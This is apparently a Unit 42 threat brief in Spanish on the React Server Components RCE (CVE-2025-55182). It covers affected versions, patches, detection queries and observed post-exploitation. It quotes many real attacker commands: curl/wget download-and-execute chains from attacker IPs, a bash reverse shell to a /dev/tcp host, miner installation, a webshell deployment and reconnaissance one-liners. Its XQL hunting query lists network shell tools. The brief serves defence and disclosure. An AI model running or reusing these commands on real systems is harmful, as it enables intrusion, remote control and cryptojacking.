Resumen Ejecutivo
Actualización del 12 de diciembre de 2025
Unit 42 descubrió el KSwapDoor, una amenaza nunca antes vista. Este backdoor (puerta trasera) de Linux fue confundido inicialmente con BPFDoor.
Las características clave incluyen:
- Red de malla (mesh) P2P: Permite el enrutamiento de múltiples saltos para comunicaciones C2 robustas.
- Cifrado robusto: Utiliza AES-256-CFB con intercambio de claves Diffie-Hellman.
- Sigilo y persistencia: Imita un demonio de intercambio (swap daemon) legítimo del kernel de Linux.
- Acceso remoto completo: Ofrece una shell interactiva, ejecución de comandos, operaciones de archivos y escaneo de movimiento lateral.
Actualización del 9 de dic., 2025
Unit 42 ha identificado una actividad que, según se informa, coincide con la herramienta Contagious Interview de Corea del Norte (RPDC), aunque por el momento no se ha producido ninguna atribución formal. Contagious Interview es una campaña en la que agentes maliciosos asociados con la RPDC se hacen pasar por reclutadores para instalar malware en los dispositivos de personas que buscan empleo en el sector tecnológico.
La actividad observada incluye EtherRAT. Según se informa, el actor malicioso UNC5342 de Corea del Norte está utilizando la técnica EtherHiding para distribuir malware y robar criptomonedas. EtherHiding aprovecha la tecnología blockchain para almacenar y recuperar cargas maliciosas.
Adicionalmente, hemos observado instancias del backdoor de Linux KSwapDoor (previamente identificado como BPFDoor en este artículo antes del 12 de diciembre).
Por último, Unit 42 ha detectado múltiples casos de una puerta trasera Auto-color no documentada anteriormente. Auto-color se hace pasar por una biblioteca legítima del Módulo de autenticación conectable (PAM) (pamssod).
Más detalles se encuentran en la sección Alcance de la Actividad de Post-Explotación.
Actualización del 8 de dic., 2025
Unit 42 ha observado actividad de post-explotación tras la explotación de CVE-2025-55182, indicando múltiples vectores de ataque. Este ataque incluyó un reconocimiento inicial que involucró escaneo automatizado en busca de la vulnerabilidad de ejecución remota de código (RCE), así como comandos codificados en Base64 para:
- Identificar rápidamente los sistemas comprometidos (fingerprinting)
- Verificar niveles de privilegios
- Mapear interfaces de red
- Enumerar credenciales sensibles y configuraciones de DNS
- Recuperar binarios maliciosos desde un C2 controlado por el atacante
Los atacantes procedieron con actividades de instalación, aprovechando wget y curl para descargar y ejecutar scripts maliciosos, incluyendo sex.sh y un dropper de Linux (x86_64) diseñado para una infección persistente. En una instancia, identificamos una shell inversa en bash conectada a un probable servidor de Cobalt Strike.
Adicionalmente, observamos actividad consistente con un clúster de actividad que rastreamos como CL-STA-1015, un broker de acceso inicial (IAB) con presuntos vínculos con el Ministerio de Seguridad del Estado de la RPC. Esta actividad involucró la ejecución sin archivos (fileless) de un script de shell malicioso (slt) vía curl o wget, seguido de la instalación de troyanos SNOWLIGHT y VShell.
Más detalles se encuentran en la sección Alcance de la Actividad de Post-Explotación.
El 3 de diciembre de 2025, investigadores revelaron públicamente vulnerabilidades críticas de ejecución remota de código (RCE) en el protocolo Flight utilizado por React Server Components (RSC).
Originalmente, el fallo se rastreó como dos vulnerabilidades, CVE-2025-55182 (React) y CVE-2025-66478 (Next.js). A ambas se les asignó una calificación de severidad máxima de CVSS 10.0.
CVE-2025-66478 ha sido rechazado desde entonces como un duplicado de CVE-2025-55182.
El fallo permite a atacantes no autenticados ejecutar código arbitrario en el servidor a través de la deserialización insegura de solicitudes HTTP maliciosas. Las pruebas indican que el exploit tiene una confiabilidad cercana al 100% y no requiere cambios en el código para ser efectivo contra configuraciones predeterminadas. Aunque no hubo reportes de explotación "in the wild" al 3 de diciembre de 2025, Unit 42 ha observado desde entonces actividad de post-explotación, como se detalla en nuestras actualizaciones.
React está fuertemente implementado en entornos empresariales, utilizado por aproximadamente el 40% de todos los desarrolladores, mientras que Next.js es utilizado por aproximadamente el 18%-20%. Esto lo convierte en el framework del lado del servidor líder para el ecosistema React.
Cortex Xpanse de Palo Alto Networks ha identificado la presencia de más de 968,000 instancias de React y Next.js en nuestra telemetría.
CVE-2025-55182 impacta el ecosistema de React 19 y los frameworks que lo implementan. Específicamente, afecta a las siguientes versiones:
- React: Versiones 19.0, 19.1 y 19.2
- Next.js: Versiones 15.x y 16.x (App Router), así como builds Canary a partir de 14.3.0
- Otros frameworks: Cualquier biblioteca que empaquete la implementación react-server, incluyendo React Router, Waku, RedwoodSDK, y plugins de Parcel y Vite RSC.
Los clientes de Palo Alto Networks reciben protecciones y mitigaciones para CVE-2025-55182 de las siguientes maneras:
- Advanced URL Filtering y Advanced DNS Security
- Next-Generation Firewall con la suscripción de seguridad Advanced Threat Prevention
- Los agentes de Cortex XDR y XSIAM ayudan a proteger contra actividades de post-explotación utilizando el enfoque de protección multicapa
- Cortex Xpanse está diseñado para identificar dispositivos y aplicaciones expuestos en la internet pública y escalar estos hallazgos a los defensores
- Cortex Cloud y Prisma Cloud tienen capacidades de detección para recursos en la nube expuestos a la vulnerabilidad discutida en este resumen
Palo Alto Networks también recomienda actualizar a las siguientes versiones reforzadas de inmediato:
- React: Actualizar a 19.0.1, 19.1.2 o 19.2.1
- Next.js: Actualizar a las últimas versiones estables con parche, incluyendo 16.0.7, 15.5.7, 15.4.8, 15.3.6, 15.2.6, 15.1.9 o 15.0.5
El equipo de Respuesta a Incidentes de Unit 42 puede ser contactado para ayudar con un compromiso o para proporcionar una evaluación proactiva para reducir su riesgo.
| Vulnerabilidades Discutidas | CVE-2025-55182, CVE-2025-66478 |
Detalles de la Vulnerabilidad: CVE-2025-55182 (React)
CVE-2025-55182 está clasificada como Crítica (CVSS 10.0) y es causada por una deserialización insegura dentro de la arquitectura RSC, específicamente involucrando el protocolo Flight.
La vulnerabilidad reside en el paquete react-server y su implementación del protocolo RSC Flight. Es un fallo lógico de deserialización donde el servidor procesa payloads RSC de manera segura.
Cuando un servidor recibe un payload HTTP especialmente diseñado y malformado (típicamente a través de datos entregados en una solicitud POST), falla en validar correctamente la estructura de los datos. Debido a esta deserialización insegura, el servidor permite que datos controlados por el atacante influyan en la lógica de ejecución del lado del servidor.
Esto resulta en RCE, permitiendo a un atacante ejecutar código JavaScript arbitrario privilegiado en el servidor.
Vector de Ataque y Explotabilidad
- Complejidad del ataque: La complejidad del ataque es baja. No requiere interacción del usuario ni privilegios (no autenticado).
- Endpoints objetivo: El ataque se dirige a los endpoints de React Server Function.
- Matiz crítico: Incluso si una aplicación no implementa o utiliza estrictamente React Server Functions, sigue siendo vulnerable si la aplicación soporta React Server Components en general.
- Confiabilidad: Las pruebas han demostrado que el exploit tiene una confiabilidad cercana al 100%.
- Configuración predeterminada: La vulnerabilidad está presente en configuraciones predeterminadas. Por ejemplo, una aplicación Next.js estándar creada con create-next-app y construida para producción es explotable sin ningún cambio de código por parte del desarrollador.
Componentes Afectados Específicos
Aunque se describe generalmente como afectando a React y Next.js, la vulnerabilidad existe técnicamente dentro de paquetes subyacentes específicos que manejan el renderizado del lado del servidor y la carga de módulos.
Paquetes Afectados
La vulnerabilidad está presente en las versiones 19.0.0, 19.1.0, 19.1.1 y 19.2.0 de los siguientes paquetes:
- react-server-dom-webpack
- react-server-dom-parcel
- react-server-dom-turbopack
Implementaciones de Framework Afectadas
Cualquier framework que empaquete estos paquetes está afectado:
- Next.js: Versiones 15.x y 16.x (App Router), así como builds Canary a partir de 14.3.0-canary.77
- Otros ecosistemas: React Router, Waku, RedwoodSDK, Parcel y el plugin Vite RSC están todos afectados si utilizan los paquetes vulnerables de React.
Alcance de la Actividad de Post-Explotación
Unit 42 ha observado sesiones interactivas relacionadas con la explotación de CVE-2025-55182, incluyendo:
- Escaneo de servidores vulnerables a RCE
- Reconocimiento
- Intento de robo de configuración de credenciales en la nube y archivos de credenciales
- Instalación de downloaders para recuperar payloads desde la infraestructura de comando y control (C2) del atacante
- Intentos de instalar Cobalt Strike
- Scripts dropper maliciosos
- Software de criptominería
- Webshells interactivas haciéndose pasar por un Administrador de Archivos de React
- Ejecución e instalación de NOODLERAT
- Actividad de IAB
- Ejecución de hallazgos de SNOWLIGHT y VShell
Escaneo
Estamos observando escaneo automatizado para la vulnerabilidad de RCE:
|
1 2 3 4 5 6 |
/bin/sh -c echo $((288*288)) /bin/sh -c echo $((40453*43186)) /bin/sh -c powershell -c \288*288\ /bin/sh -c $(curl -s http://help.093214[.]xyz:9731/fn32.sh | bash | gzip -n | base64 -w0),/bin/sh -c echo VULN_CHECK_SUCCESS |
El reconocimiento del atacante se ha observado en forma de envío de comandos codificados en Base64 para obtener conocimiento situacional inmediato después de comprometer un sistema. Los atacantes identifican rápidamente el sistema operativo y la arquitectura (uname), verifican su nivel de privilegio actual (id) y mapean las interfaces de red (hostname).
La secuencia concluye enumerando el sistema de archivos en busca de credenciales sensibles y analizando configuraciones de DNS (resolv.conf) para identificar entornos en la nube u objetivos internos para movimiento lateral.
El formato para ejecutar comandos de reconocimiento es:
|
1 |
/bin/sh -c echo <base64-encoded text> | base64 -d | sh | base64 -w0 |
El comando Base64 decodificado ejecuta los siguientes comandos de reconocimiento:
|
1 |
/bin/sh uname -a ; id ;hostname -I ; ls -la / ; ls -la ~ ;cat /etc/hosts;cat /etc/resolv.conf |
Actividad de Instalación de Malware "Commodity"
Unit 42 ha observado múltiples clústeres de actividad relacionados con el despliegue de software de criptominería, así como otros loaders de malware tipo "commodity" (mercancía común).
En una instancia, los atacantes pasaron una secuencia de ataque de descarga y ejecución usando wget para recuperar un script malicioso (llamado sex.sh) desde un servidor C2 controlado por el atacante. El atacante empleó el operador && para crear una cadena condicional, asegurando que el script malicioso se pase al intérprete bash para su ejecución inmediata solo después de haber sido descargado exitosamente al disco.
En otra, se utilizó un script automatizado para realizar robo de datos, verificación e instalar múltiples downloaders de malware consistentes con actividad de internet de las cosas (IoT), como una botnet Mirai.
Los comandos "desarmados" (defanged) son:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
/bin/sh -c wget hxxp[:]//46.36.37[.]85:12000/sex.sh && bash sex.sh /bin/sh -c $(curl -s http://keep.camdvr[.]org:8000/d5.sh | bash | gzip -n | base64 -w0),/bin/sh -c echo $((41*271)),/bin/sh -c echo $((42259*42449)),/bin/sh -c wget http://superminecraft.net[.]br:3000/sex.sh && bash sex.sh,/bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs[.]com/123/python1.sh && chmod 777 python1.sh && ./python1.sh 45.134.174[.]235/2.sh 45.134.174[.]235/solra 45.134.174.235/?h=45.134.174.235&p=80&t=tcp&a=l64&stage=true Decoded and Defanged command: /bin/sh -c (wget -qO- http://156.234.209[.]103:20912/get.sh || curl -fsSL http://156.234.209[.]103:20912/get.sh) | bash,/bin/sh -c curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner .sh | bash -s <encoded Monero address>,/bin/sh -c echo $((41*271)),/bin/sh -c echo $((42636*43926)),/bin/sh -c powershell -enc IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209[.]103:63938/nrCrQ') Decoded and Defanged command: /bin/sh -c echo wget -O /tmp/test.sh http://31.57.46.28/test.sh&&sh /tmp/test.sh|base64 -d|sh,/bin/sh -c id && pwd && ls -la && ps aux | grep node (command -v curl >/dev/null 2>&1 && curl -s hxxp://47.84.57[.]207/index | bash) || (command -v wget >/dev/null 2>&1 && wget -q -O- hxxp://47.84.57[.]207/index | bash) || (command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('hxxp://47.84.57.207/index').read())") || (command -v python >/dev/null 2>&1 && python -c "import urllib2 as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('hxxp://47.84.57[.]207/index').read())") |
La figura 1 muestra el flujo del ataque del despliegue de XMRIG tal y como se ve en Cortex XDR.

Figura 2 es una notificación de alerta en Cortex XDR para actividad de XMRig.

En una observación, el atacante instaló un dropper diseñado para infectar sistemas Linux. El dropper utiliza un bloque de lógica redundante para asegurar que la carga útil sea entregada. Primero intenta usar curl sobre el binario con banderas para silenciar la salida y seguir redirecciones, y recurre a wget si la primera herramienta falta o falla.
Tras la descarga exitosa al directorio /tmp, el script ejecuta una cadena de comandos para hacer el archivo universalmente ejecutable. Luego lanza inmediatamente la carga útil, estableciendo la infección sin intervención del usuario.
El comando desarmado para esto es:
|
1 |
/bin/sh -c ((curl -sL hxxp[:]//45.32.158[.]54/5e51aff54626ef7f/x86_64 -o /tmp/x86_64;chmod 777 /tmp/x86_64;/tmp/x86_64) || (wget hxxp[:]//45.32.158[.]54/5e51aff54626ef7f/x86_64 -O /tmp/x86_64;chmod 777 /tmp/x86_64;/tmp/x86_64)) |
Intentos de explotación en la nube y contenedores
Unit 42 también observó intentos de explotación de React2Shell en las principales plataformas en la nube. Estas instancias en la nube objetivo alojaban contenedores, incluido Kubernetes, que ejecutaban aplicaciones vulnerables a la CVE-2025-55182 a través de componentes de React integrados.
Las operaciones involucraron la ejecución en línea de comandos de wget, curl, chmod y otras utilidades, ya sea directamente o a través del binario BusyBox, lo que resultó en intentos por parte de los atacantes de instalar cargadores (loaders) de Mirai y otros payloads.
Si bien los atacantes intentaron instalar estos archivos, sus descargas maliciosas fueron bloqueadas, impidiendo así su ejecución.
|
1 2 3 4 5 6 7 8 9 |
# Witnessed commands ## BusyBox /bin/sh -c (cd /dev;busybox wget hxxp://31.56.27[.]76/n2/x86;chmod 777 x86;./x86 reactOnMynuts;busybox wget -q hxxp://193.34.213[.]150/nuts/bolts -O-|sh) ## Meshagent Directory String wget -O /tmp/meshagent --no-check-certificate hxxps://72.62.67[.]33/meshagents?id=w%40Exooh1EQmSgfpvXk%24Kctk3F4RFhqP5EYgH2mHXjcZDuo3H61xfEs%24OKLnWsj6D&installflags=0&meshinstall=6 # Container Command Usage runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v2.task/moby/<IMAGE_HASH>/log.json --log-format json create --bundle /run/containerd/io.containerd.runtime.v2.task/moby/<IMAGE_HASH> --pid-file /run/containerd/io.containerd.runtime.v2.task/moby/<IMAGE HASH>/init.pid <IMAGE_HASH> |
Cobalt Strike
Unit 42 observó a un actor de amenazas aprovechando una shell inversa de bash para conectarse a un probable servidor de Cobalt Strike:
|
1 |
bash -c bash -i >& /dev/tcp/38.162.112[.]141/8899 0>&1 |
Adicionalmente, Unit 42 observó una ejecución remota de un script bash llamado check.sh desde 154.89.152[.]240. Como se muestra en la figura 3, el script es responsable de descargar otro binario desde la misma dirección llamado a_x64, el cual fue guardado bajo el nombre rsyslo.
La carga útil parece ser un agente de Cobalt Strike que fue creado usando CrossC2, una herramienta de extensión para crear Cobalt Strike Beacon para SO Linux. La Figura 3 muestra el proceso en Cortex XDR.

La Figura 4 muestra cómo se ve la alerta para actividad de Cobalt Strike en Cortex XDR.

Actividad de Webshell
Observamos la instalación de una webshell interactiva disfrazada como un Administrador de Archivos de React (fm.js) recuperada directamente de GitHub que permite la navegación de directorios para recolectar archivos de configuración sensibles, como contraseñas de bases de datos y claves API, mientras facilita la exfiltración de datos a través de una función de descarga incorporada para robar código fuente o datos de clientes.
La herramienta soporta compromiso persistente al permitir la carga de backdoors adicionales o rootkits, y otorga la capacidad de infligir daño irreversible a través de la eliminación masiva de archivos y la ejecución directa de comandos del sistema.
El actor inició la secuencia terminando preventivamente los procesos de nodo existentes para eliminar conflictos de puertos, seguido de una validación de ejecución para confirmar la ejecución de código arbitrario. El script prepara una carga útil de webshell Node.js en el directorio /tmp. Emplea adaptación de red heurística modificando iterativamente la configuración para rotar a través de varios puertos de escucha, intentando eludir las políticas locales de firewall.
El ataque concluye estableciendo persistencia efímera vía nohup y desplegando artefactos de verificación únicos (segawon.txt) en directorios web comunes, permitiendo validación externa del compromiso y mapeo de la estructura de archivos del servidor.
|
1 |
/bin/sh -c cd /tmp && nohup node fm.js > /dev/null 2>&1 & sleep 2,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 13373/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 3000/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 8080/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 8888/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 9000/' fm.js 2>&1,/bin/sh -c cd /tmp && wget -q -O fm.js https://raw.githubusercontent.com/laolierzi-commits/phpbd/refs/heads/main/rjs/filemanager-standalone.js 2>&1 && wc -c fm.js,/bin/sh -c echo $((41*271)),/bin/sh -c echo 'segawon.id' > /app/public/segawon.txt && chmod 644 /app/public/segawon.txt,/bin/sh -c echo 'segawon.id' > /app/web/public/segawon.txt && chmod 644 /app/web/public/segawon.txt,/bin/sh -c echo 'segawon.id' > /var/www/html/segawon.txt && chmod 644 /var/www/html/segawon.txt,/bin/sh -c id,/bin/sh -c killall -9 node 2>/dev/null,/bin/sh -c ls -la |
EtherRAT
La Unidad 42 ha observado actividad compatible con EtherRAT, que realiza las siguientes acciones:
- Aprovecha los contratos inteligentes de Ethereum para la resolución C2.
- Utiliza múltiples mecanismos de persistencia independientes de Linux.
- Descarga su propio tiempo de ejecución de Node.js desde nodejs.org.
El actor de amenazas de la DPRK, UNC5342, según se informa está usando EtherHiding para entregar malware y facilitar el robo de criptomonedas.
|
1 |
/bin/sh -c echo while :; do (curl -sL http://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh -o ./s.sh 2>/dev/null || wget -qO ./s.sh http://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh 2>/dev/null || python3 -c "import urllib.request as u;open('./s.sh','wb').write(u.urlopen('http://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh').read())") && [ -s ./s.sh ] && chmod +x ./s.sh && ./s.sh && break; sleep 300; done |
Noodle RAT
Unit 42 observó el despliegue de Noodle RAT, un backdoor confirmado por tener versiones tanto para Windows como para Linux y sospechoso de ser usado por grupos de habla china involucrados en espionaje o cibercrimen.
|
1 2 3 4 5 |
hxxp://146.88.129[.]138:5511/443nb64 tcp://vip[.]kof97.lol:443 192.238.202[.]17 |
Auto-color
Unit 42 ha observado múltiples instancias de un Backdoor Auto-color previamente no visto a través de múltiples entornos, malware que publicamos originalmente en febrero de 2025. El nombre de archivo asociado con este backdoor, pamssod, se hace pasar por la biblioteca legítima del Módulo de Autenticación Conectable (PAM).
Se observó Auto-color en los siguientes momentos y lugares:
- A principios de 2025, dirigido a universidades y organizaciones gubernamentales de Asia y Norteamérica.
- En abril de 2025, en la red de una empresa química con sede en EE. UU.
- En agosto de 2025, en la explotación de CVE‑2025‑31324.
Actividad de CL-STA-1015
Unit 42 observó actividad de amenazas de post-explotación que evaluamos con alta confianza como consistente con un clúster de actividad que rastreamos como CL-STA-1015. Este actor de amenazas fue evaluado con confianza media como un Intermediario de Acceso Inicial (Initial Access Broker) patrocinado por el estado chino, según el Google Threat Intelligence Group.
Los atacantes ejecutaron un comando para recuperar y ejecutar inmediatamente una carga útil de script de shell malicioso etiquetado como slt desde un servidor remoto C2. Consistente con actividad vista previamente, los atacantes emplearon una lógica a prueba de fallos usando el operador OR:
- El sistema primero intenta la descarga usando curl con banderas optimizadas para sigilo (-fsSL para suprimir la salida y seguir redirecciones) y resiliencia (-m180 para prevenir bloqueos).
- Si curl no está disponible o falla, recurre automáticamente a wget con parámetros similares de silencio y tiempo de espera.
- El comando concluye canalizando el contenido descargado directamente en sh, permitiendo la ejecución sin archivos donde el script malicioso corre inmediatamente en memoria sin necesariamente escribir un archivo persistente en el disco.
El comando desarmado para esto es:
|
1 |
/bin/sh -c (curl -fsSL -m180 hxxp[:]//115.42.60[.]223:61236/slt||wget -T180 -q hsxp[:]//115.42.60[.]223:61236/slt)|sh |
Siguiendo el comando anterior, observamos la creación exitosa de dos archivos maliciosos en el sistema de archivos consistentes con SNOWLIGHT y determinamos a través de análisis que la muestra de VShell a continuación también residía en el mismo servidor:
- Script bash de SNOWLIGHT: a455731133c00fdd2a141bdfba4def34ae58195126f762cdf951056b0ef161d4
- SNOWLIGHT: 2b0dc27f035ba1417990a21dafb361e083e4ed94a75a1c49dc45690ecf463de4a
- VShell: 4745703f395282a0687def2c7dcf82ed1683f3128bef1686bd74c966273ce1c5
SNOWLIGHT es un dropper de malware sigiloso visto en la actividad de CL-STA-1015. Su función principal es infiltrar un sistema Linux comprometido para luego descargar y ejecutar malware adicional y más poderoso. Más notablemente, descarga el RAT VShell. VShell es popular entre cibercriminales de habla china en varios foros, y su desarrollador principal es también un hablante de chino.
KSwapDoor
Tras un análisis más detallado, Unit 42 ha descubierto que lo que previamente identificamos como BPFDoor, es de hecho un backdoor de Linux nunca antes visto dirigido a servidores, al que llamamos KSwapDoor. KSwapDoor implementa una sofisticada red de malla (mesh) P2P que permite el enrutamiento de múltiples saltos entre nodos infectados, utiliza cifrado AES-256-CFB con intercambio de claves Diffie-Hellman para las comunicaciones C2, e incluye código de sniffer de paquetes pasivo y latente para una potencial evasión de firewalls. Proporciona capacidades completas de acceso remoto, incluyendo shell interactiva, ejecución de comandos, operaciones de archivos y escaneo de movimiento lateral.
Hallazgos Clave:
- Sigilo y Enmascaramiento: Tras su ejecución, el binario se renombra a sí mismo como [kswapd1], imitando un demonio de intercambio (swap) legítimo del kernel de Linux. Se demoniza completamente mediante una doble bifurcación (double-forking), creando una nueva sesión (setsid()), y redirigiendo toda la E/S estándar a /dev/null.
- Ofuscación: Casi todas las cadenas críticas y los datos de configuración están protegidos usando cifrado RC4. El malware descifra estas cadenas en tiempo de ejecución utilizando funciones de programación de claves (sub_410A41 y sub_410B8D).
- Persistencia y Configuración: Almacena su configuración en un archivo cifrado con RC4 dentro del directorio home del usuario. Durante la inicialización, lee y descifra este archivo para localizar objetivos de Comando y Control (C2).
- Resiliencia: El malware crea un bucle de vigilancia (watchdog) que genera y monitorea procesos secundarios, reiniciándolos automáticamente si fallan. También utiliza un directorio de preparación (staging) en /tmp/appInsight.
Guía Provisional
Acciones requeridas: La aplicación inmediata de parches es la única mitigación definitiva.
Los equipos de ingeniería y seguridad deben actualizar a las siguientes versiones reforzadas de inmediato:
- React: Actualizar a 19.0.1, 19.1.2 o 19.2.1
- Next.js: Actualizar a las últimas versiones estables con parche, incluyendo 16.0.7, 15.5.7, 15.4.8, 15.3.6, 15.2.6, 15.1.9 o 15.0.5
Para las últimas actualizaciones sobre esta vulnerabilidad, por favor consulte la documentación proporcionada por el proveedor:
Consultas de Threat Hunting Gestionado de Unit 42
El equipo de Threat Hunting Gestionado de Unit 42 continúa rastreando cualquier intento de explotar este CVE a través de nuestros clientes, utilizando Cortex XDR y las consultas XQL a continuación. Los clientes de Cortex XDR también pueden usar estas consultas XQL para buscar signos de explotación.
La siguiente consulta XQL ha sido utilizada para identificar exitosamente actividad post-compromiso. Durante el análisis, se identificó un número bajo de falsos positivos. Recomendamos revisar los procesos hijos generados por el proceso nodo. Busque operaciones de archivo sospechosas, operaciones de red, comandos de reconocimiento o ejecución de código, tales como los comandos observados anteriormente.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
// Description: This query attempts to identify possible node processes spawning two or more post-exploitation lolbins. // Notes: This has the potential to capture false-positives, it is recommended to investigate the children processes spawned by the node process and check for suspicious file operations, network operations, reconnaissance commands or code execution. config case_sensitive = false | preset=xdr_process | filter (actor_process_image_name in ("node","node.exe", "bun", "bun.exe") and actor_process_command_line in ("*react-dom*", "*.next*", "*node_modules/next*", "*react-server*", "*next-server*", "*node server.js*", "*bin/next*", "*--experimental-https*", "*app/server*", "*.pnpm/next*", "*next start*", "*next dev*", "*react-scripts start*", "*next/dist/server*")) or (causality_actor_process_image_name in ("node","node.exe", "bun", "bun.exe") and causality_actor_process_command_line in ("*react-dom*", "*.next*", "*node_modules/next*", "*react-server*", "*next-server*", "*node server.js*", "*bin/next*", "*--experimental-https*", "*app/server*", "*.pnpm/next*", "*next start*", "*next dev*", "*react-scripts start*", "*next/dist/server*")) | filter actor_process_command_line not in ("*homebrew*", "*git config*", "*/users*", "*/usr*", "*\users*", "*gcloud config*", "*git branch*", "*git describe*") and action_process_image_command_line not in ("*homebrew*", "*git config*", "*/users*", "*/usr*", "*\users*", "*gcloud config*", "*git branch*", "*git describe*") and causality_actor_process_command_line not in ("*Microsoft VS Code*", "*iTerm2*", "*Visual Studio Code*") and action_process_image_name not in ("node", "node.exe") | alter suspicious_processes = arraycreate("id", "curl", "wget", "whoami", "arp", "at.exe", "hostname", "nbstat.exe", "netsh.exe", "netstat.exe", "nslookup", "ping.exe", "query.exe", "systeminfo.exe", "tasklist.exe", "traceroute.exe", "ipconfig.exe", "whoami.exe", "whois.exe", "quser.exe", "mshta.exe", "jscript.exe", "cscript.exe", "wscript.exe", "qwinsta.exe", "nltest.exe", "csvde.exe", "wevtutil.exe", "driverquery.exe", "nbtscan.exe", "ntdsutil.exe", "vssadmin.exe", "dsquery.exe", "adfind.exe", "klist.exe", "vssvc.exe", "nc", "ncat", "netcat", "base64", "uname", "dmidecode", "ip addr", "chmod -x", "chmod 7", "socat", "nohup", "setsid", "powershell.exe", "cmd.exe", "bash", "sh", "zsh", "mkfifo", "rundll32.exe", "java", "python", "python.exe", "php", "ifconfig", "net.exe", "net1.exe", "/dev/udp", "/dev/tcp", "adduser", "useradd", "lua", "crontab", "mknod") | alter matches = arrayfilter(suspicious_processes , action_process_image_command_line contains "@element") | comp count_distinct(action_process_image_command_line) as num_procs, values(action_process_image_command_line) as action_process_image_command_line, values(causality_actor_process_command_line) as causality_actor_process_command_line by agent_hostname, actor_process_image_name, actor_process_command_line, action_process_image_name | filter num_procs > 1 |
Conclusión
La explotación inmediata y expansiva de esta vulnerabilidad resalta la velocidad a la que los actores de amenazas se mueven para aprovechar oportunidades. Si bien hemos notado actividad con nexo en China, la huella de la actividad abarcará cantidades significativas de motivaciones cibercriminales también.
Específicamente de nota, CL-STA-1015 (alias UNC5174) tiene un historial de explotación rápida de vulnerabilidades N-day:
La distinción crítica de esta vulnerabilidad es su naturaleza como un fallo lógico determinista en el protocolo Flight, en lugar de un error probabilístico. A diferencia de errores de corrupción de memoria que pueden fallar, este fallo garantiza la ejecución, transformándolo en una evasión confiable de todo el sistema para los atacantes. Amplificado por la huella masiva de Next.js en entornos empresariales, esto crea un conducto directo a datos internos sensibles.
En última instancia, este incidente subraya la fricción inherente entre el rendimiento y la seguridad en la arquitectura moderna. Mientras que React Server Components optimizan la obtención de datos y la optimización para motores de búsqueda (SEO) moviendo la lógica más cerca de la fuente, simultáneamente mueven la superficie de ataque más cerca de los datos más sensibles y valiosos de las organizaciones.
Los clientes de Palo Alto Networks están mejor protegidos por nuestros productos, como se lista a continuación. Actualizaremos este resumen de amenazas a medida que haya información más relevante disponible.
Protecciones de Productos de Palo Alto Networks para CVE-2025-55182
Los clientes de Palo Alto Networks pueden aprovechar una variedad de protecciones de productos y actualizaciones para identificar y defenderse contra esta amenaza.
Si cree que podría haber sido comprometido o tiene un asunto urgente, póngase en contacto con el equipo de Respuesta a Incidentes de Unit 42 o llame al:
- América del Norte: Línea gratuita: +1 (866) 486-4842 (866.4.UNIT42)
- Reino Unido: +44.20.3743.3660
- Europa y Oriente Medio: +31.20.299.3130
- Asia: +65.6983.8730
- Japón: +81.50.1790.0200
- Australia: +61.2.4062.7950
- India: 000 800 050 45107
- Corea del Sur: +82.080.467.8774
Next-Generation Firewalls Con Advanced Threat Prevention
Next-Generation Firewall con la suscripción de seguridad Advanced Threat Prevention puede ayudar a bloquear los ataques a través de las siguientes firmas de Threat Prevention: 96779 y 96780.
Servicios de Seguridad Entregados en la Nube para el Next-Generation Firewall
Advanced URL Filtering y Advanced DNS Security identifican dominios y URLs conocidos asociados con esta actividad como maliciosos.
Cortex XDR y XSIAM
Los agentes de Cortex XDR y XSIAM ayudan a proteger contra actividades de post-explotación utilizando el enfoque de protección multicapa.
Cortex ha lanzado un paquete de respuesta y playbook para CVE-2025-55182 (React) y CVE-2025-66478 (Next.js) para ayudar a automatizar y acelerar el proceso de mitigación.
Este playbook automatiza las siguientes tareas:
- Recolección de indicadores del artículo de Unit 42
- Detección de cualquier línea de comando sospechosa indicativa de explotación de estas vulnerabilidades vía una consulta XQL
- Investigación de las líneas de comando para identificar indicadores maliciosos relacionados con las vulnerabilidades
- Búsqueda (hunting) de indicadores maliciosos vía una consulta XQL
- Aislamiento de servidores React y Next.js comprometidos (requiere aprobación del analista)
- Bloqueo de indicadores maliciosos
- Provisión de recomendaciones de mitigación
Cortex Xpanse
Cortex Xpanse está diseñado para identificar dispositivos y aplicaciones expuestos en la internet pública y escalar estos hallazgos a los defensores. Los clientes pueden habilitar alertas sobre activos que están potencialmente en riesgo asegurando que la Regla de Superficie de Ataque de Vercel Next.js esté habilitada.
Adicionalmente, Xpanse ha publicado una prueba de superficie de ataque para la CVE-2025-55182. Esto valida la vulnerabilidad mediante una verificación directa de RCE, al intentar ejecutar un payload de comando benigno compatible tanto con sistemas Linux como Windows.
Notablemente, estas aplicaciones React y Next.js no exponen públicamente detalles de la versión del software, lo que significa que estas detecciones no son un indicador fuerte de una aplicación vulnerable. Estas detecciones también están disponibles para clientes de Cortex XSIAM que hayan comprado el módulo ASM.
Cortex Cloud
